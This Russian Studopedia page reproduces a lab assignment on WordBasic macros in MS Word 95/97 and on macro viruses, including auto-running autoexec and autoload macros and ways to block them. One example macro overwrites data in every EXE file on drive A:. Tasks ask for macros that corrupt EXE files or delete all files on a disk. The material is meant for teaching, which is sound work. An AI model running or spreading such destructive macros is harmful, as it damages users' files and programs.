Студопедия

КАТЕГОРИИ:


Архитектура-(3434)Астрономия-(809)Биология-(7483)Биотехнологии-(1457)Военное дело-(14632)Высокие технологии-(1363)География-(913)Геология-(1438)Государство-(451)Демография-(1065)Дом-(47672)Журналистика и СМИ-(912)Изобретательство-(14524)Иностранные языки-(4268)Информатика-(17799)Искусство-(1338)История-(13644)Компьютеры-(11121)Косметика-(55)Кулинария-(373)Культура-(8427)Лингвистика-(374)Литература-(1642)Маркетинг-(23702)Математика-(16968)Машиностроение-(1700)Медицина-(12668)Менеджмент-(24684)Механика-(15423)Науковедение-(506)Образование-(11852)Охрана труда-(3308)Педагогика-(5571)Полиграфия-(1312)Политика-(7869)Право-(5454)Приборостроение-(1369)Программирование-(2801)Производство-(97182)Промышленность-(8706)Психология-(18388)Религия-(3217)Связь-(10668)Сельское хозяйство-(299)Социология-(6455)Спорт-(42831)Строительство-(4793)Торговля-(5050)Транспорт-(2929)Туризм-(1568)Физика-(3942)Философия-(17015)Финансы-(26596)Химия-(22929)Экология-(12095)Экономика-(9961)Электроника-(8441)Электротехника-(4623)Энергетика-(12629)Юриспруденция-(1492)Ядерная техника-(1748)

Лабораторная работа № 7. Методы проектирования по информационной безопасности на основе технологии визуального программирования




Цель работы

Лабораторная работа № 6. МАКРОСЫ ДОКУМЕНТОВ MS WORD. ПРОЕКТИРОВАНИЕ МАКРОСОВ. ПРОБЛЕМЫ ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТИ

Ознакомление с методами проектирования вирусов документов MS Word и борьбы с этими вирусами.

2. Теоретические положения

Начиная с MS Word версии 6.0, появилась возможность автоматизации работы с документами на основе макросов, написанных на WordBasic’е. Создать макрос достаточно просто. На 1-м этапе необходимо выбрать в пункте меню «Сервис» подпункты «Макрос» и «Макросы» (Alt+F8) (см. рис. 1).

Рис. 1. 1-й этап создания макроса.

На 2-м этапе необходимо набрать имя макроса в элементе «Имя:» и нажать кнопку «Создать» (см. рис. 2).

После чего откроется окно Visual Basic, в котором можно набирать тексты макросов и отлаживать их (3-й, заключительный этап). Макросы сохраняются в шаблоне документа MS Word. Запустить макрос можно следующими способами:

− макрос с именем autoexec запускается автоматически при запуске MS Word;

− макрос с именем autoload запускается автоматически при загрузке документа MS Word;

− любой макрос в пошаговом или автоматическом режиме можно запустить из окна Visual Basic из пункта меню «Отладка»;

− макрос с любым именем можно запустить щелкнув левой кнопкой мыши по «Полю» типа MacroButton, если поле связано с необходимым макросом.

Рис. 2. 2-й этап создания макроса

В настоящее время в операционных системах Windows 95 и выше чаще всего используются две версии MS Word. Это MS Word 95 и MS Word 97. В ниже приведенной таблице рассмотрим синтаксис написания основных операторов WordBasic для обеих версий MS Word.

№ п/п MS Word 95 MS Word 97
  StartOfDocument WordBasic.StartOfDocument
  EditFind.Find = " ",.Format = 0 WordBasic.EditFind Find:=" ", Format:=0
  CharRight 1, 1 WordBasic.CharRight 1, 1
  Box$ = Right$(Selection$(), 1) Box$ = WordBasic.[Right$](WordBasic.[Selection$](), 1)
  FileFind.SearchPath = "A:\",.Name = "*.DOC".SubDir = 1 WordBasic.FileFind SearchPath:="A:\", Name:="*.DOC", SubDir:=1
  FileSaveAs.Name = "Lab51.doc",.Format = 0 WordBasic.FileSaveAs Name:="Lab51.doc", Format:=0
  Open a$ For Input As #1 Open a$ For Input As 1
  Open a$ For Append As #1 Open a$ For Append As 1
  Seek(#1, 0) Seek 1, 0
  Write #1, d$ Write #1, d$
  b$ = Input$(256, #1) b$ = Input(256, 1)
  Close #1 Close 1

1 – установить курсор в начало документа;

2 – найти пробел (“ “) от текущего положения курсора до конца документа. При этом найденная строка (пробел) выделяется;

3 – курсор от текущего положения сдвигается вправо на одну позицию с выделением текста (эквивалентно одновременному нажатию клавиш Shift и курсор вправо). При отсутствии параметра второй единицы (, 1) выделения текста не происходит;

4 – строковой переменной Box$ присвоить один символ справа выделенного текста;

5 – на дискете A: найти все файлы с расширением *.DOC, включая каталоги (SubDir = 1). Если SubDir = 0, то каталоги не проверяются;

6 – сохранить файл в формате документа MS Word с именем Lab51.doc;

7 – открыть файл с номером #1 для чтения с именем, заданным в строковой переменной a$;

8 – открыть файл с номером #1 для добавления записей с именем, заданным в строковой переменной a$;

9 – встать на начало файла (смещение от начала файла – 0 байт) с номером #1;

10 – вывести в файл с номером #1 строковую переменную d$;

11 – считать в строковую переменную b$ из файла с номером #1 256 символов;

12 – закрыть файл с номером #1.

Как видно макросы могут портить информацию на компьютерах. Если Вы получили письмо, включающее макрос с именем autoexec или autoload, и задумали его прочитать, то содержимое файлов на Вашем компьютере может существенно измениться. Однако можно блокировать запуск макросов с именами autoexec или autoload следующими способами:

− в пункте меню «Сервис» выбрать «Параметры» и во вкладыше «Общие» отметить пункт «Защита от вирусов в макросах». Тогда при наличае макросов будет появляться окно с разрешением о его запуске;

− при запуске MS Word и загрузке документов MS Word необходимо держать нажатой клавишу Shift.

Ниже приведено несколько примеров с фрагментами макросов для MS Word 95.

Пример редактирования документов

Sub MAIN

StartOfDocument

EditFind.Find = " ",.Format = 0

While EditFindFound()

CharRight 1, 1

Box$ = Right$(Selection$(), 1)

While Box$ = " "

CharLeft 1

CharRight 2, 1

Box$ = Right$(Selection$(), 1)

If Box$ = " " Then Insert " "

Wend

CharRight 1

EditFind.Find = " ",.Format = 0

Wend

FileSaveAs.Name = "Lab51.doc",.Format = 0

End Sub

Пример использования подпрограмм в макросах

Sub MAIN

Tk_Zpt(".")

Tk_Zpt(",")

FileSaveAs.Name = "Lab52.doc",.Format = 0

End Sub

 

Sub Tk_Zpt(Sim$)

End Sub

Пример обработки файлов

Sub MAIN

FileFind.SearchPath = "a:\",.Name = "*.EXE"

size = CountFoundFiles()

If size > 0 Then

For count = 1 To size

a$ = FoundFileName$(count)

Open a$ For Input As #1

b$ = Input$(256, #1)

Close #1

d$ = ""

For i = 1 To 256

c$ = Left$(b$, i)

c$ = Right$(c$, 1)

c$ = Chr$(k)

d$ = d$ + c$

Next i

Open a$ For Append As #1

Seek(#1, 0)

Write #1, d$

Close #1

Next count

End If

End Sub

3. Задание на работу

1) Необходимо написать макрос, который множество пробелов заменял одним. Исправленный документ сохранить в файле Lab51.

2) Написать макрос, который бы редактировал правильное расположение в документе точек и запятых (макрос,который … º макрос, который…). Результат сохранить в файле Lab52.doc.

3) Написать макрос, который в начало всех документов Word на дискете a:\ вставлял бы строку «Примите самые добрые пожелания! [Текущая дата] [Текущее время]». (На основе метода FileFind)

4) Написать макрос, который модифицировал бы все файлы с расширением EXE на дискете a:\ следующим образом: первые 1024 байт сложить со значением 255 по mod 256.

4. Оборудование

ПЭВМ с архитектурой IBM PC, операционная система – Windows 95, текстовый процессор MS Word версии не ниже 95

5. Порядок выполнения работы

1) Согласно полученному варианту задания разработать и отладить макрос MS Word в соответствии с заданием.

2) Разработать методику тестирования макроса для выявления степени реализации его функциональных возможностей.

3) Оформить отчет.

6. Оформление отчета

Отчет должен содержать:

− задание на лабораторную работу;

− листинг разработанного макроса MS Word;

− описание функционирования макроса.

7. Контрольные вопросы

1) Каким образом можно запустить макрос MS Word?

2) Каким образом можно блокировать запуск макросов с именами autoexec и autoload?

3) Напишите фрагмент макроса, который удалил бы все файлы с дискеты A:.

4) Напишите фрагмент макроса, который бы снял (завершил выполнение) MS Word.

5) Опишите процесс создания в документе MS Word «Поля» типа MacroButton.

6) Чем отличаются режимы отладки макросов в MS Word 95 и MS Word 97?

7) Возможно ли запустить макрос MS Word из какого-либо другого приложения Windows?




Поделиться с друзьями:


Дата добавления: 2015-05-07; Просмотров: 648; Нарушение авторских прав?; Мы поможем в написании вашей работы!


Нам важно ваше мнение! Был ли полезен опубликованный материал? Да | Нет



studopedia.su - Студопедия (2013 - 2024) год. Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав! Последнее добавление




Генерация страницы за: 0.03 сек.